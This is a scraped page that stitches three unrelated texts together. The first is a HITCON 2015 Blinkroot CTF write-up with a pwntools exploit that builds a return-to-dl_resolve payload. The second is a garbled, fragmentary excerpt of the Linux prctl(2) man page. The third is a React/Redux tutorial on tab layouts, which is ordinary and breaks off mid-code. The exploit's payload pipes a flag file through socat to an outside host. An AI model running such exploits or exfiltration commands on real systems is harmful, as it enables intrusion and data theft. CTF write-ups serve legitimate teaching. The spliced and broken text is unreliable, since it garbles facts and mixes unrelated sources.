Introduction This post gives a write-up on Blinkroot in HITCON 2015 and uses this challenge to demonstrate the return-to-dl_resolve method in glibc. Vulnerability Analysis The pseudocode of this can be simply translated as following: char data[1024]; int main() { if (recvlen(0, data, 1024) == 1024) { close(0); close(1); close(1); data[(int)data] = 0x10; data[(int)data+8] = data[8]; puts(data[16]); } exit(0); } The attacker is able to write any value at a chose place in memory. Due to “movaps” instruction in binary, the chosen address must be aligned. Exploit Plan Since this challenge closes the stdin and stdout, we cannot overwrite a function pointer with one-gadget address. And since we cannot leak any info about dynamic library, it’s hard for us to leak the base address of libc. Therefore we need to apply return-to-dl_resolve function to hijack control flow to system with argument string “cat flag | socat ….”. According to the write-up in [1], it seems that I pick the correct desired solution. It’s just because that the desired solution seems to be the shortest execution path in this challenge. More details will be given in my tutorial. Exploit from pwn import * DEBUG = int(sys.argv[1]); if(DEBUG == 0): r = remote("1.2.3.4", 233333); elif(DEBUG == 1): r = process("./blinkroot"); elif(DEBUG == 2): r = process("./blinkroot"); gdb.attach(r, '''source ./script.py'''); def halt(): while(True): log.info(r.recvline()); def exploit(): #sleep(1); payload = p64(0xffffffffffffff80) + p64(0x600d00); payload = payload + "cat flag | socat - TCP4:10.0.2.15:31337;\x00"; payload = payload.ljust(0x140, '\x00'); fake_l_addr = 0x24870; payload = payload + p64(fake_l_addr); payload = payload + p64(0x40) * 12; payload = payload + p64(0x600e00); payload = payload + p64(0x600e08); payload = payload + p64(0x41) * 16; payload = payload + p64(0x600e10); payload = payload + p64(0x42); payload = payload + p64(0x43); payload = payload + p64(0x600b78); payload = payload + p64(0x600e18); payload = payload + p64(0x44) *2; fake_reloc_roffset = 0x5dc2f0; payload = payload + p64(fake_reloc_roffset); payload = payload + p64(7); payload = payload.ljust(0x3ff, '\x00'); r.sendline(payload); exploit(); Reference [1]
https://dangokyo.me/2018/01/26/hitcon-2015-quals-pwn-blinkroot-write-up/
CC-MAIN-2019-30
refinedweb
341
56.96
PRCTL(2) Linux Programmer's Manual PRCTL(2) pr this bit).). Since Linux 4.10, the value of a thread's no_new_privs bit bit for the calling thread.). Warning: the "parent" in this case is considered to be the thread that created this process. In other words, the signal will be sent when that thread terminates (via, for example, pthread_exit(3)), rather than after all of the threads in the parent process terminate., -1 is returned, and errno is set appropriately.. ENXIO option was PR_MPX_ENABLE_MANAGEMENT or PR_MPX_DISABLE_MANAGEMENT and the kernel or the CPU does not support MPX management. Check that the kernel and processor have MPX support. max‐ imum stack size, and so on. signal(2), core(5) This page is part of release 4.16 of the Linux man-pages project. A description of the project, information about reporting bugs, and the latest version of this page, can be found at. Linux 2018-02-02 PRCTL(2) Pages that refer to this page: setpriv), environ(7), pid_namespaces(7), time(7), mount.fuse3(8)
http://www.man7.org/linux/man-pages/man2/prctl.2.html
CC-MAIN-2018-51
refinedweb
174
67.76
The Simple API for XML (SAX) is an event-based API for reading XML documents. Many different XML parsers implement the SAX API, including Xerces, Crimson, the Oracle XML Parser for Java, and lfred. SAX was originally defined as a Java API and is primarily intended for parsers written in Java. Therefore, this chapter focuses on the Java version of the API. However, SAX has been ported to most other major object-oriented languages, including C++, Python, Perl, and Eiffel. The translation from Java is usually fairly obvious. The SAX API is unusual among XML APIs because it's an event-based push model rather than a tree-based pull model. As the XML parser reads an XML document, it sends the program information from the document in real time. Each time the parser sees a start-tag, an end-tag, character data, or a processing instruction, it tells your program. The document is presented to your program one piece at a time from beginning to end. You can either save the pieces you're interested in until the entire document has been read, or process the information as soon as you receive it. You do not have to wait for the entire document to be read before acting on the data at the beginning of the document. Most importantly, the entire document does not have to reside in memory. This feature makes SAX the API of choice for very large documents that do not fit into available memory. This chapter covers SAX2 exclusively. In 2004, all major parsers that support SAX also support SAX2. The major change in SAX2 from SAX1 is the addition of namespace support, which necessitated changing the names and signatures of almost every method and class in SAX. The old SAX1 methods and classes are still available, but they're now deprecated, and you shouldn't use them. SAX is primarily a collection of interfaces in the org.xml.sax package. One such interface is XMLReader . This interface represents the XML parser. It declares methods to parse a document and configure the parsing process, for instance, by turning validation on or off. To parse a document with SAX, first create an instance of XMLReader with the XMLReaderFactory class in the org.xml.sax.helpers package. This class has a static createXMLReader( ) factory method that produces the parser-specific implementation of the XMLReader interface. The Java system property org.xml.sax.driver specifies the concrete class to instantiate: try { XMLReader parser = XMLReaderFactory.createXMLReader( ); // parse the document... } catch (SAXException ex) { // couldn't create the XMLReader } The call to XMLReaderFactory.createXMLReader( ) is wrapped in a try - catch block that catches SAXException . This is the generic checked exception superclass for almost anything that can go wrong while parsing an XML document. In this case, it means either that the org.xml.sax.driver system property wasn't set, or that it was set to the name of a class that Java couldn't find in the class path . Do not use the SAXParserFactory and SAXParser classes included with JAXP. These classes were designed by Sun to fill a gap in SAX1. They are unnecessary and indeed actively harmful in SAX2. For instance, they are not namespace aware by default. SAX2 applications should use XMLReaderFactory and XMLReader instead. You can choose which concrete class to instantiate by passing its name as a string to the createXMLReader() method. This code fragment instantiates the Xerces parser by name: try { XMLReader parser = XMLReaderFactory.createXMLReader( "org.apache.xerces.parsers.SAXParser"); // parse the document... } catch (SAXException ex) { // couldn't create the XMLReader } Now that you've created a parser, you're ready to parse some documents with it. Pass the system ID of the document you want to read to the parse( ) method. The system ID is either an absolute or a relative URL encoded in a string. For example, this code fragment parses the document at : try { XMLReader parser = XMLReaderFactory.createXMLReader( ); parser.parse(""); } catch (SAXParseException ex) { // Well-formedness error } catch (SAXException ex) { // Could not find an XMLReader implementation class } catch (IOException ex) { // Some sort of I/O error prevented the document from being completely // downloaded from the server } The parse( ) method throws a SAXParseException if the document is malformed , an IOException if an I/O error such as a broken socket occurs while the document is being read, and a SAXException if anything else goes wrong. Otherwise, it returns void . To receive information from the parser as it reads the document, you must configure it with a ContentHandler .
https://flylib.com/books/en/1.132.1.164/1/
CC-MAIN-2021-31
refinedweb
754
56.05
A few customers have run into an unspecified error when attempting to add service pack features to an RTM form template when using the InfoPath SP1 Preview Release design mode. For anyone who has created a form template outside of InfoPath or added/changed the schemas for a form template by hand this might be an interesting read. There is a section in the XSF called the documentSchemas section that is used to define all the namespaces and their corresponding XSD schema for the form template. Here is the documentSchemas element InfoPath creates for a form template that uses two namespaces “” and “”, each with its own schema: <xsf:documentSchemas> <xsf:documentSchema</xsf:documentSchema> <xsf:documentSchema</xsf:documentSchema></xsf:documentSchemas> Note that in this case, the root element of the form template comes from root.xsd and its documentSchema entry has an attribute “rootSchema” with a value of “yes”. The documentSchemas section should contain an entry for every namespace that is used in the main data source for the form template; herein lays the problem. The InfoPath team has seen a number of form templates where schemas were added outside of InfoPath but the documentSchemas section was not updated accordingly. Depending on whether you are the glass half empty or half full type of person, the RTM version of InfoPath didn’t mind this but the SP1 Preview Release does. That should suffice to explain the issue; where does that leave you? With all that said there is some pretty good news – with the SP1 Preview Release you can now provide an updated schema to InfoPath and we will update the form template accordingly. This will be the topic of another blog entry soon!
http://blogs.msdn.com/b/infopath/archive/2004/05/03/125376.aspx
CC-MAIN-2014-41
refinedweb
283
54.97
This article introduces Valgrind, a dynamic instrumentation framework to detect memory errors. The MemCheck tool, which comes as a part of the Valgrind framework, is used for this purpose. Throughout this article, the use of the term Valgrind implies the Valgrind MemCheck tool. Memory errors lead to segmentation faults, which are very common while dealing with pointers in C/C++ programming. It is always easy to identify and solve compilation errors, but the task of fixing segmentation faults is tedious without the help of any tools. The GNU Project Debugger (GDB) and Valgrind are two elegant tools available in the open source community that are useful for fixing these errors. GDB is a debugger, while Valgrind is a memory checker. Unlike GDB, Valgrind will not let you step interactively through a program, but it checks for the use of uninitialised values or over/underflowing dynamic memory, and also gives you the cause of the segmentation fault. Segmentation faults What is a segmentation fault, and how is it generated? A program uses the memory space allocated to it, which includes the stack, where local variables are stored; and the heap, where memory is allocated from during runtime. Remember that memory is allocated dynamically at runtime, using keywords such as malloc in C or new in C++. Now consider the following scenarios: - Not releasing acquired memory using delete/free. - Writing into an array with an index that’s out of bounds. - Trying to reference/dereference a pointer that is not yet initialised. - Passing system call parameters with inadequate buffers for read/write; i.e., if your program makes a system call passing an invalid buffer (a buffer that cannot be addressed) for either reading or writing. - Attempting to write read-only memory. - Trying to dereference a pointer that is already freed. All these situations can give rise to memory errors, causing the program to terminate abruptly. This is particularly dangerous in safety- and mission-critical systems, where such abrupt program termination can have catastrophic consequences. Hence, it is necessary to detect and resolve such errors that can lead to segmentation faults. The Valgrind open source tool can be used to detect some of these errors by dynamically executing the program. Valgrind notifies the user with an error report for all the above scenarios. The error detection is performed by tracking all the instructions before the execution of that particular instruction, and checking for memory leaks. This tracking is done by storing the data about the state of each memory location before the execution of each instruction, known as meta-data, in what is called shadow memory. Note that each time the meta-data is analysed to check for memory leaks, it may lead to an overhead which makes the program slower to analyse dynamically. Memory faults may not cause significant damages in small programs, but can be extremely dangerous in safety-critical applications and can have disastrous consequences; for instance, a segmentation fault in a medical application may lead to loss of lives. Hence, one must be extremely careful about memory leaks. Detecting memory errors using Valgrind In this section, let us explore how to use Valgrind to detect memory errors in a program written in C/C++. Apart from the MemCheck tool, the Valgrind distribution also includes thread error detectors, a cache and branch-prediction profiler, a call-graph generating cache and branch-prediction profiler, a heap profiler and three experimental tools: a heap/stack/global array overrun detector, a second heap profiler that examines how heap blocks are used, and a SimPoint basic block vector generator. Valgrind-3.8.1 is the latest stable version, which has been used for this article. The following platforms support Valgrind: X86/Linux, AMD64/Linux, ARM/Linux, PPC32/Linux, PPC64/Linux, S390X/Linux, MIPS/Linux, ARM/Android (2.3.x and later), X86/Android (4.0 and later), X86/Darwin and AMD64/Darwin. Debugging with Valgrind using MemCheck Unlike Java, languages like C or C++ do not have a garbage collector, which is an automatic memory manager for collecting memory occupied by unused objects in the program. Hence, there exists a significantly higher chance for memory faults to occur. One major issue with memory faults is that the error leads to a failure only during runtime. Thus, tools like Valgrind play a major role in detecting memory faults, without which debugging such errors becomes troublesome. Given below is a demonstration of how to use Valgrind with the following code. It explains the scenarios listed earlier: #include<iostream> #include<stdlib.h> using namespace std; int main() { int *x; x = new int(20); // no delete() used to release memory allocated return 0; } Let us compile the above code using the following command: $ g++ -g eg1.cpp -o eg1 To analyse this program using Valgrind, run the following command: $ valgrind --tool=memcheck --leak-check=yes ./eg1 You will get the following output: ==5215== Memcheck, a memory error detector ==5215== Copyright (C) 2002-2012, and GNU GPL'd, by Julian Seward et al. ==5215== Using Valgrind-3.8.1 and LibVEX; rerun with -h for copyright info ==5215== Command: ./eg1 ==5215== ==5215== ==5215== HEAP SUMMARY: ==5215== in use at exit: 4 bytes in 1 blocks ==5215== total heap usage: 1 allocs, 0 frees, 4 bytes allocated ==5215== ==5215== 4 bytes in 1 blocks are definitely lost in loss record 1 of 1 ==5215== at 0x402B87E: operator new(unsigned int) (vg_replace_malloc.c:292) ==5215== by 0x8048528: main (eg1.cpp:7) ==5215== ==5215== LEAK SUMMARY: ==5215== definitely lost: 4 bytes in 1 blocks ==5215== indirectly lost: 0 bytes in 0 blocks ==5215== possibly lost: 0 bytes in 0 blocks ==5215== still reachable: 0 bytes in 0 blocks ==5215== suppressed: 0 bytes in 0 blocks ==5215== ==5215== For counts of detected and suppressed errors, rerun with: -v ==5215== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0) The number 5215 is the process ID of the program. Additionally, the tool provides information about various other properties of the program like heap summary, leak summary and error summary. Heap summary provides details regarding calls to malloc/new/free/delete. In the above output, the count of memory allocations and frees is mentioned; if not the same, it indicates a memory fault. The leak summary gives the amount of memory leaked; in the above example, this is 4 bytes, as shown. The error summary provides an overview about the total number of errors. In this example, the memory allocated is not released using the delete() instruction. Thus, the 4 bytes are considered as definitely lost as given in the leak summary, which indicates that your program is leaking memory. Let us complicate our example code by adding the following, in order to consider Scenario 2: x[20] = 1; //Invalid write as x[20] is not allocated any memory Remember that here, x[20] being assigned a value is not a valid operation; hence, this will lead to a segmentation fault. We know that the size of x is just 20 and hence accessible locations are x[0] to x[19], so x[20] is an invalid address, and writing to it is an invalid write. On compiling the code and running it in Valgrind, you will get the following response: ==5235== Invalid write of size 4 ==5235== at 0x804853A: main (eg1.cpp:8) ==5235== Address 0x4328078 is not stack'd, malloc'd or (recently) free'd The output indicates there is an invalid write of size 4 happening at location 0x804853A, i.e., at Line No 8 in the main function of the program. In other words, it gives you the type of error and the stack trace, which gives you the location of the error. Let us now add the following lines to our example code, to consider Scenario 3. if(x[1] == 0) // x[1] is not assigned any value. Hence invalid read. cout<<"Hello"; There is an invalid read happening in the new line. Remember that we did not assign any values to the array. Therefore, x[1] has a garbage value and reading that is an invalid reada memory fault. On compiling and running the program in Valgrind, you will get the following output: ==5244== Invalid read of size 4 ==5244== at 0x80485D7: main (eg1.cpp:9) ==5244== Address 0x432802c is 0 bytes after a block of size 4 alloc'd ==5244== at 0x402B87E: operator new(unsigned int) (vg_replace_malloc.c:292) ==5244== by 0x80485B8: main (eg1.cpp:7) Note that MemCheck does not report an error when it finds uninitialised data, but reports only when uninitialised data is used in the program. You can explore the other scenarios in a similar way, if you are interested. Valgrind effectively finds unpaired calls to new/malloc and delete/free, invalid memory operations like read and write, and detects system calls with inadequate read-write parameters. <strong>Installing the Valgrind framework</strong> Valgrind is available from the Ubuntu repositories. You can check the repositories for other distributions, or directly install the program using the source from for the latest version, after which, follow the steps given below: $ bzip2 -d valgrind-XYZ.tar.bz2 $ tar -xf valgrind-XYZ.tar $ ./configure $ make $ make install Using Valgrind during software development can improve the quality of the software being developed. To get more information about Valgrind, please refer to the home page, References [1] [2] [3] [4] [5] [6]
https://www.opensourceforu.com/2013/12/dynamic-program-analysis-using-valgrind-jump-start-guide/
CC-MAIN-2021-49
refinedweb
1,565
52.29
-1 Hi im trying to write a game. Its very early stage but i hit to an error so need your help. Here the code: def gexp(): connection = sqlite.connect('test.db') memoryConnection = sqlite.connect(':memory:') cursor = connection.cursor() cursor.execute('SELECT * FROM gain') expget = cursor.fetchone() exp = expget[1] texp = expget[1] + mexp cursor.execute('INSERT INTO gain VALUES (null, ?)',(texp)) cursor.commit() print "Your exp is %s" %texp mexp is another value from another db. i took it from upper function with global. both values are integer but still i got unspoorted type error. value ? also integer so cant understand the problem.
https://www.daniweb.com/programming/software-development/threads/227492/sqlite-values-error
CC-MAIN-2018-13
refinedweb
104
55.4
Re: DB API 2.0 and transactions - From: Magnus Lycka <lycka@xxxxxxxxx> - Date: Mon, 13 Jun 2005 12:23:48 +0200 I'm CC:ing this to D'Arcy J.M. Cain. (See comp.lang.python for prequel D'Arcy.) Christopher J. Bottaro wrote: Check this out... <code> import pgdb import time print time.ctime() db = pgdb.connect(user='test', host='localhost', database='test') time.sleep(5) db.cursor().execute('insert into time_test (datetime) values (CURRENT_TIMESTAMP)') db.commit() curs = db.cursor() curs.execute('select datetime from time_test order by datetime desc limit 1') row = curs.fetchone() print row[0] </code> <output> Fri Jun 10 17:27:21 2005 '2005-06-10 17:27:21.654897-05' </output> Notice the times are exactly the same instead of 5 sec difference. What do you make of that? Some other replies to this thread seemed to indicate that this is expected and proper behavior. This is wrong. It should not behave like that if it is to follow the SQL standard which *I* would expect and consider proper. I don't think the SQL standard mandates that all evaluations of CURRENT_TIMESTAMP within a transaction should be the same. It does manadate that CURRENT_TIMESTAMP in only evaluated once in each SQL statement, so "CURRENT_TIMESTAMP=CURRENT_TIMESTAMP" should always be true in a WHERE statement. I don't think it's a bug if all timestamps in a transaction are the same though. It's really a bonus if we can view all of a transaction as taking place at the same time. (A bit like Piper Halliwell's time-freezing spell in "Charmed".) The problem is that transactions should never start until the first transaction-initiating SQL statement takes place. (In SQL-92, all standard SQL statements are transaction initiating except CONNECT, DISCONNECT, COMMIT, ROLLBACK, GET DAIGNOSTICS and most SET commands (SET DESCRIPTOR is the exception here).) Issuing BEGIN directly after CONNECT, ROLLBACK and COMMIT is in violation with the SQL standards. A workaround for you could be to explicitly start a new transaction before the insert as PostgreSQL (but not the SQL standard) wants you to do. I suppose you can easily do that using e.g. db.rollback(). If you like, I guess you could do db.begin=db.rollback in the beginning of your code and then use db.begin(). Another option would be to investigate if any of the other postgreSQL drivers have a more correct behaviour. The non-standard behaviour that you describe it obvious from the pgdb source. See: (Comments added by me.) class pgdbCnx: def __init__(self, cnx): self.__cnx = cnx self.__cache = pgdbTypeCache(cnx) try: src = self.__cnx.source() src.execute("BEGIN") # Ouch! except: raise OperationalError, "invalid connection." ... def commit(self): try: src = self.__cnx.source() src.execute("COMMIT") src.execute("BEGIN") # Ouch! except: raise OperationalError, "can't commit." def rollback(self): try: src = self.__cnx.source() src.execute("ROLLBACK") src.execute("BEGIN") # Ouch! except: raise OperationalError, "can't rollback." .... This should be changed to something like this (untested): ........class pgdbCnx: def __init__(self, cnx): self.__cnx = cnx self.__cache = pgdbTypeCache(cnx) self.inTxn = False #NEW try: src = self.__cnx.source() # No BEGIN here except: raise OperationalError, "invalid connection." ........def commit(self): try: src = self.__cnx.source() src.execute("COMMIT") self.inTxn = False # Changed except: raise OperationalError, "can't commit." def rollback(self): try: src = self.__cnx.source() src.execute("ROLLBACK") self.inTxn = False # Changed except: raise OperationalError, "can't rollback." def cursor(self): try: src = self.__cnx.source() return pgdbCursor(src, self.__cache, self) # Added self except: raise pgOperationalError, "invalid connection." .... > self.__conn = conn # New> self.__conn = conn # Newclass pgdbCursor: def __init__(self, src, cache, conn): # Added conn self.__cache = cache self.__source = src self.description = None self.rowcount = -1 self.arraysize = 1 self.lastrowid = None .... (execute calls executemany) .... > if not self.__conn.inTxn: # Added test> if not self.__conn.inTxn: # Added testdef executemany(self, operation, param_seq): self.description = None self.rowcount = -1 # first try to execute all queries totrows = 0 sql = "INIT" try: for params in param_seq: if params != None: sql = _quoteparams(operation, params) else: sql = operation self.__source.execute('BEGIN')> self.__conn.inTxn = True rows = self.__source.execute(sql) if rows != None: # true is __source is NOT a DQL totrows = totrows + rows else: self.rowcount = -1 I guess it would be even better if the executemany method checked that it was really a tranasction-initiating SQL statement, but that makes things a bit slower and more complicated, especially as I suspect that the driver premits several SQL statements separated by semicolon in execute and executemany. We really don't want to add a SQL parser to pgdb. Making all statements transaction-initiating is at least much closer to standard behaviour than to *always* start transactions start prematurely. I guess it will remove problems like the one I mentioned earlier (repeated below) in more than 99% of the cases. This bug has implications far beyond timestamps. Imagine two transaction running with isolation level set to e.g. serializable. Transaction A updates the AMOUNT column in various rows of table X, and transaction B calculates the sum of all AMOUNTs in X. Lets say they run over time like this, with | marking transaction start and > commit (N.B. ASCII art follows, you need a fixed font to view this): ....|--A-->.......|--A-->........ ............|-B->.........|-B->.. This works as expected... The first B-transaction sums up AMOUNTs after the first A-transaction is done etc, but imagine what happens if transactions implicitly begin too early as with the current pgdb: |-----A-->|---------A-->|------- |------------B->|----------B->|- This will cause B1 to sum up AMOUNTs before A1, and B2 will sum up AMOUNTs after A1, not after A2. . - Follow-Ups: - Re: DB API 2.0 and transactions - From: Stuart Bishop - References: - DB API 2.0 and transactions - From: Christopher J. Bottaro - Re: DB API 2.0 and transactions - From: Magnus Lycka - Re: DB API 2.0 and transactions - From: Christopher J. Bottaro - Prev by Date: Java to Python - how to?? - Next by Date: asyncore and GUI (wxPython) - Previous by thread: Re: DB API 2.0 and transactions - Next by thread: Re: DB API 2.0 and transactions - Index(es):
http://coding.derkeiler.com/Archive/Python/comp.lang.python/2005-06/msg01834.html
crawl-002
refinedweb
1,027
61.53
Determining status of individual sensors. I'd like to be able to determine the status of individual sensors on the PySense. This is part of a longer strategy to incorporate additional sensors but determine which ones are active on each board as part of an initialisation. I've tried using the _read_status(self) function of the barometer but I can't get it to work, e.g. barometer_ready = MPL3115A2._read_status() I don't know what to pass as the parameter because self is part of the class and has no meaning outside of it. You could use the scan method of the I2C class to detect what sensors are present on the bus. Then based on what addresses you can find you can run/not run the code relating to that sensor. @seb Yes, I would like to have multiple boards with a selection of sensors on each but I don't want to change the code according to which specific sensors I have attached. I want the initialisation procedure to determine which of those sensors are present and the main code therefore only read from those that are attached. Kind of like a plug and play but without hot-plugging. It should be straightforward but I wanted to at least demonstrate the process without having to modify libraries. At least for the time being. I think as the PyCom eco-system develops and libraries are added, it should be a pre-requisite to have a function like this for any external hardware. Regards Can you explain in more detail what you are attempting to achieve? Are you just looking for which sensors are present? @seb That works fine. I already had an instance in order for the readings to work but for some reason....idiot mode active. I need some sleep! Many thanks. There doesn't appear to be anything equivalent in the LTR329ALS01 or SI7006A20 ibraries though. rather that calling the method of the class directly you should first create an instance of the class and call the method of the instance: from pysense import Pysense from MPL3115A2 import MPL3115A2 py = Pysense() baro = MPL3115A2(py) barometer_ready = baro._read_status() You may also need to pass mode when instantiating the barometer depending on if you want to measure pressure or altitude. Please refer to our documentation for more details:
https://forum.pycom.io/topic/2240/determining-status-of-individual-sensors
CC-MAIN-2018-39
refinedweb
389
71.95
10.2. Quickstart¶ Eager to get started? This page gives a good introduction to Flask. Follow installation to set up a project and install Flask first. 10.2.1. A Minimal Application¶ A minimal Flask application looks something like this: from flask import Flask from markupsafe import escape app = Flask(__name__) @app.route("/") def hello_world(): return f"<p>Hello, {escape(name)}!</p>" So what did that code do? First we imported the Flaskclass. An instance of this class will be our WSGI application. Next we create an instance of this class. The first argument is the name of the application’s module or package. __name__is a convenient shortcut for this that is appropriate for most cases. This is needed so that Flask knows where to look for resources such as templates and static files. We then use the route()decorator to tell Flask what URL should trigger our function. The function returns the message we want to display in the user’s browser. The default content type is HTML, so HTML in the string will be rendered by the browser. Note HTML escaping When returning HTML (the default response type in Flask), any user input rendered in the output must be escaped to protect from injection attacks. HTML templates in Jinja, introduced later, will do this automatically. escape(), shown above, can be used manually. It’s omitted for brevity in the examples below. Save it as hello.py or something similar. Make sure to not call your application flask.py because this would conflict with Flask itself. To run the application, use the flask command or python " This launches a very simple builtin server, which is good enough for testing but probably not what you want to use in production. For deployment options see deployment. Now head over to, and you should see your hello world greeting. run --host=0.0.0.0 This tells your operating system to listen on all public IPs. 10.2.2. What to do if the Server does not Start¶ In case the python -m flask fails or flask does not exist, there are multiple reasons this might be the case. First of all you need to look at the error message. 10.2.2.1. server docs to see the alternative method for running a server. 10.2.2.2. Invalid Import Name¶ The FLASK_APP environment variable is the name of the module to import at flask run.. 10.2.3. Debug Mode¶ (Want to just log errors and stack traces? See application-errors).: More information on using the debugger can be found in the Werkzeug documentation. Have another debugger in mind? See working-with-debuggers.
https://runestone.academy/runestone/books/published/webfundamentals/Flask/quickstart.html
CC-MAIN-2020-24
refinedweb
443
67.65
an interactive course on Educative.io! "Redux Fundamentals" workshop in New York City on April 19-20. Tickets still available! Practical Redux, Part 4: UI Layout and Project Structure This is a post in the Practical Redux series. UI libraries, folder structures, tab panel management, and initial layout with mock contents Intro Last time, we sketched out a feature list and some UI mockups for Project Mini-Mek, created a new project using Create-React-App, added a basic Redux configuration, and enabled the use of Hot Module Reloading so that we could see changes in our UI without having to reload the entire page. In this part, we'll set up the initial application layout to match our UI mockups, talk about folder structures, and look at an example of managing UI state with Redux. Before starting this series, I posted a poll on Twitter asking whether people would rather see "clean" commits, all WIP commits, or both. The responses showed a preference for seeing "clean" commits, but I'm actually going to include a way for people to see both. The code for this project is on Github at github.com/markerikson/project-minimek. The original WIP commits I made for this post can be seen in PR #1: Practical Redux Part 4 WIP, and the final "clean" commits can be seen in in PR #2: Practical Redux Part 4 Final. Table of Contents - Choosing a UI Toolkit - Setting Up Semantic-UI - Initial UI Layout - Building a TabBar Component - Rendering Tab Panels - Thoughts on Folder Structure - Enabling Absolute Imports - Building the First Content Components - Handling Tab State with Redux - Filling Out the Other Tabs - Final Thoughts - Further Information Choosing a UI Toolkit There's a seemingly infinite number of web UI toolkits and CSS frameworks out there, of which Bootstrap and its variations are probably the most popular. I've been using Semantic-UI in another project, and been very happy with it. It has a nice appearance out of the box, uses very readable markup, and allows considerable customization for theming, including several built-in theme options for various parts such as buttons. Semantic-UI consists of two main aspects: CSS-only content for styling, and logic for smarter widgets (such as AJAX fetching capabilities for the Dropdown component). The original framework uses jQuery to implement its smart widgets. There are numerous React libraries that provide React components which render Semantic-UI markup. However, many of them also try to wrap up the jQuery-based smart components as well. In my own current app, I've been trying to avoid dragging in jQuery as a dependency, so I spent some time looking for a React wrapper for Semantic-UI that avoided the jQuery parts. I eventually found React-Semantic-UI-Kit, which initially fit the bill. However, since I started using it, there have been few updates to the wrappers, and there's some lingering pain points with the library (such as inability to override styles). One of the other React/Semantic-UI libraries I looked at was called "Stardust". It looked comprehensive and well written, but also wrapped up the jQuery components. (There was some useful discussion about their approach in a Reddit thread about Stardust.) Since then, the situation has changed. "Stardust" has been turned into the official Semantic-UI-React library, and now includes completely new React implementations for all of Semantic-UI's smart components, with no jQuery needed at all. So, we'll be using Semantic-UI-React for the UI layout and styling. It's important to note that Semantic-UI-React is only about generating the correct markup and adding additional logic on top. In order for that markup to change any appearances, we need to include Semantic-UI's CSS. Semantic-UI has its own build system that can be used to generate a customized theme, but to simplify things, we're just going to use the semantic-ui-css package, which provides a prebuilt version of the full Semantic-UI CSS output. Setting Up Semantic-UI Our first step is to add semantic-ui-react and semantic-ui-css to our project; yarn add semantic-ui-react semantic-ui-css Then, we need to import the main Semantic-UI CSS file into our code so it gets included in the bundle. We should also render a single Semantic-UI <Header> component to make sure that's working as intended. While we're at it, let's yank out the sample component we set up, since we won't be needing it any more, and also do some cleanup on the original CSS and HTML that generated when the project was created (such as removing the spinning logo, and shrinking the size of the header bar). Commit 059c2a7: Use Semantic-UI and clean up unused code index.js import {Provider} from "react-redux"; -import './index.css'; +import "semantic-ui-css/semantic.css"; App.js import React, { Component } from 'react'; import { Header, } from "semantic-ui-react"; import './App.css'; class App extends Component { render() { return ( <div className="App"> <div className="App-header"> <Header invertedProject Mini-Mek</Header> </div> </div> ); } } export default App; With the sample code cleaned up, our initial empty UI now looks like: Yay - a black bar with some white text! Isn't this exciting? :) Don't worry, we'll start adding a lot more from here. Initial UI Layout Let's review the original mockup for Project Mini-Mek's UI: The main part of our layout is a tab bar with tabs for the four main panels. Semantic-UI's <Menu> component can be configured to display in a tabbed form, so we can go ahead and render an initial hardcoded version of our tabs: Commit 9bfab80: Render initial hardcoded tab bar App.js import { Header, + Container, + Menu, } from "semantic-ui-react"; class App extends Component { render() { return ( <div className="App"> <div className="App-header"> <Header invertedProject Mini-Mek</Header> </div> + <Container> + <Menu tabular + <Menu.Item name="unitInfo" active={true}>Unit Info</Menu.Item> + <Menu.Item name="pilots" active={false}>Pilots</Menu.Item> + <Menu.Item name="mechs" active={false}>Mechs</Menu.Item> + <Menu.Item name="unitOrganization" active={false}>Unit Organization</Menu.Item> + </Menu> + </Container> </div> ); } } That gives us the following result: Still not very exciting, but now we can start filling this out. Building a TabBar Component We're going to need to track which tab is active, change that on click, and re-render the tab list. We also will eventually need to swap which content panel is visible as well. I added a <TabBar> component that takes an array of tab names and labels and renders the tabs. Now, we could have the <TabBar> store the value of which tab is currently selected, but it's a good practice in React to write "container components" which store the state, and keep other components that are "presentational" and just display things based on the props they're given. So, we'll create a <TabBarContainer> component to track which tab is currently selected: Commit c5600b7: Create a TabBar component to render a list of tabs features/tabs/Tab.jsx import React from "react"; import {Menu} from "semantic-ui-react"; const Tab = ({name, label, onClick, active}) => ( <Menu.Item name={name} content={label} active={active} onClick={() => onClick(name)} /> ); export default Tab; features/tabs/TabBar.jsx import React from "react"; import {Menu} from "semantic-ui-react"; import Tab from "./Tab"; const TabBar = (props) => { const {tabs, currentTab, onTabClick, ...otherProps} = props; const tabItems = tabs.map(tabInfo => { const {name, label} = tabInfo; return ( <Tab key={name} name={name} label={label} active={currentTab === name} onClick={onTabClick} /> ); }); return ( <div> <Menu tabular attached="top" {...otherProps}> {tabItems} </Menu> </div> ) } export default TabBar; features/tabs/TabBarContainer.jsx import React, {Component} from "react"; import TabBar from "./TabBar"; export default class TabBarContainer extends Component { constructor(props) { super(props); const {tabs = [{name : null}]} = props; const firstTab = tabs[0]; this.state = { currentTab : firstTab.name } ; } onTabClick = (name) => { this.setState({currentTab : name}); } render() { const {tabs, ...otherProps} = this.props; const {currentTab} = this.state; return ( <TabBar {...otherProps} currentTab={currentTab} onTabClick={this.onTabClick} tabs={tabs} /> ) } } With that in place, we can then use it to render our main set of tabs: Commit 47154d0: Render the list of tabs using TabBarContainer App.js class App extends Component { render() { const tabs = [ {name : "unitInfo", label : "Unit Info"}, {name : "pilots", label : "Pilots"}, {name : "mechs", label : "Mechs"}, {name : "unitOrganization", label : "Unit Organization"} ]; return ( <div className="App"> <div className="App-header"> <Header invertedProject Mini-Mek</Header> </div> <Container> <TabBarContainer tabs={tabs} </Container> </div> ); } } No major visual changes from this, but we can now click on each tab and see the "active" tab get highlighted. Rendering Tab Panels Right now the tab bar only shows the tabs themselves, but no content. We really need to show a different component as the content for each tab, and swap which component is visible as the active tab changes. One way to do this would be to actually change which component is being rendered for the content panel each time the currentTab prop changes. Another would be to always render all the tabs, but toggle the visibility instead of un-rendering them. We're going to go with toggling visibility, just because I feel like it. It's not too hard to write the logic for toggling the display style on a given component, but I don't feel like writing that myself at the moment. There's a nice little utility component I've found called React-Toggle-Display that just renders a span with your content, and toggles the visibility of the span based on a condition or flag prop. After adding that to the project, we need to update TabBar to look for components in the tab definitions, and render those wrapped in a <ToggleDisplay>. We also need to add some initial dummy components to our existing tab definitions: Commit 21393ed: Add ability to swap visible tab component based on active tab features/tabs/TabBar.jsx import {Menu} from "semantic-ui-react"; +import ToggleDisplay from 'react-toggle-display'; const TabBar = (props) => { const {tabs, currentTab, onTabClick, ...otherProps} = props; const tabItems = tabs.map(tabInfo => { /*.....*/ }); + const tabPanels = tabs.map(tabInfo => { + const {name, component : TabComponent} = tabInfo; + return ( + <ToggleDisplay show={name === currentTab} key={name}> + <TabComponent /> + 